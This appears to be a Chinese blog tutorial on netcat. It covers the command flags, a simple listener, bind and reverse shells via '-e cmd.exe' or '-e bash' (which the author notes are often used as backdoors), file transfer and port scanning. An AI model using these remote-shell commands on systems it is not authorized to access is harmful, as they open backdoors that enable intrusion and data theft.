• netcat使用


    netcat可以作为类似于telent的客户端,也可以监听某个端口作为服务器,还可以作为扫描工具扫描对方主机的端口,还可以用来传输文件,不相信吗?听我慢慢道来:) 
    首先我们要弄明白netcat的工作原理,其实netcat的原理很简单,它就是从网络的一端读入数据,然后输出到网络的另一端,它可以使用tcp和udp协议.之所以叫做netcat,因为它是网络上的cat,想象一下cat的功能,读出一个文件的内容,然后输出到屏幕上(默认的stdout是屏幕,当然可以重定向到其他地方).netcat也是如此,它读取一端的输入,然后传送到网络的另一端, 
    就这么简单.但是千万不要小看了它,netcat可以完成很多任务,,尤其是和其他程序组合时.好了,废话少说,进入正题吧.:p 
    网上有两种版本的netcat,一个是@stake公司的netcat,http://www.atstake.com/research/tools/network_utilities/ 也就是最初的版本,还有一个是GNU的netcat.http://netcat.sourceforge.net/download.php 我个人更倾向于使用GNU的netcat,因为它的功能更多,不过GNU的没有windows平台的版本:confused:

    只介绍windows平台上一些操作。

    参数:

    -e prog 程序重定向,一旦连接,就执行 [危险!!]
    -g gateway source-routing hop point[s],up to 8
    -G num source-routing pointer: 4,8,12,...
    -h 帮助信息
    -i secs 延时的间隔
    -l 监听模式,用于入站连接
    -n 指定数字的IP地址,不能用hostname
    -o file 记录16进制的传输
    -p port 本地 端口号
    -r 任意指定本地及远程端口
    -s addr 本地源地址
    -u UDP模式
    -v 详细输出——用两个-v可得到更详细的内容
    -w secs timeout的时间
    -z 将输入输出关掉——用于扫描时
    其中 端口号可以指定一个或者用lo-hi式的指定范围。

    下载好nc.exe后,放到c:\windows目录下

    一、简单服务器 

    nc -l -p <portnumber> //这里-l参数表明nc处于监听模式,-p指定端口号. 
    nc -l -p 1234[假设这台主机ip为192.168.0.1] 
    然后从客户端输入,nc 192.168.0.1 1234 然后你从任一端输入的数据就会显示在另一端了.其实netcat的server和client的区别并不大,区别仅仅在于谁执行了-l来监听端口,一旦连接建立以后,就没有什么区别了.从这里我们也可以了解netcat的工作原理了,通过网络链接读写数据.[It is a simple Unix utility which reads and writes data across network connections, using TCP or UDP protocol]--@stake主页是这么说的. 

    二、telnet服务器 

    nc有一个-e的选项,用来指定在连接后执行的程序. 
    在windows平台上可以指定-e cmd.exe[winxp,win2000,]如果是98就指定command.exe.linux则指定-e bash,或者任何你喜欢的shell,或者是你自己编写的程序,通常是做为后门:p 
    指定-e的效果是由你指定的程序代替了nc自己来接受另一端的输入,并把输入(命令)后反馈的结果显示到另一端. 
    server: nc -l -p 1234 -e bash 
    client: nc 192.168.0.1 1234 就可以远程登陆server了 
    其实我们不一定非要在server端指定-e,也可以在client端指定. 
    server: nc -l -p 1234 
    client:nc -e cmd.exe 192.168.0.1 1234 .这样,就相当于在server上远程登陆client了.我前面说过,有关client和server的区分是没有什么意义的.谁做为telnet server的标准只有一个,谁执行了-e [shell]. 

    三、传送文件

    server:nc -v -l -p 1234 > c:\1.txt

    client:nc -v -n 192.168.0.1 1234 < c:\1.txt

    输入命令后,client就可以将1.txt通过1234端口发送出去,而server则会开放1234端口接受1.txt,并在C盘根目录下创建1.txt

    -v:显示端口信息

    四、扫描端口 

    nc -z -w 2 -v -v http://www.somewhere.com/ port[,port[,port-port]] 
    -z 指定zero-I/O 模式,它让netcat禁止任何来自源系统的I/O,如果不指定它,netcat会无限期的挂起端口.所以在网络扫描时要指定-z选项. 
    -w 指定超时时间,单位为秒 
    -v 详细模式 
    例: nc -z -w 2 -v -v http://www.somewhere.com/ 20-30 
    不过我不赞成使用netcat来扫描,因为我觉得它的速度不够快,而且得到的信息不够全,而且更重要的是不够隐蔽.nmap倒是个上好的选择,如果有时间,我会在另一篇文章里讨论nmap的超酷功能.[做做广告先:p] 

    参见:http://www.cnblogs.com/starspace/archive/2009/01/15/1376288.html

  • 相关阅读:
    Elasticsearch 缓存总结
    ElasticSearch-集群
    HTTP协议详解
    HTTPS总结
    ElasticSearch--Document
    正排索引和倒排索引
    线上OOM排查步骤总结
    线程池-四种拒绝策略总结
    netty篇-练手
    netty篇-UDP广播
  • 原文地址:https://www.cnblogs.com/jiangu66/p/3000366.html
Copyright © 2020-2023  润新知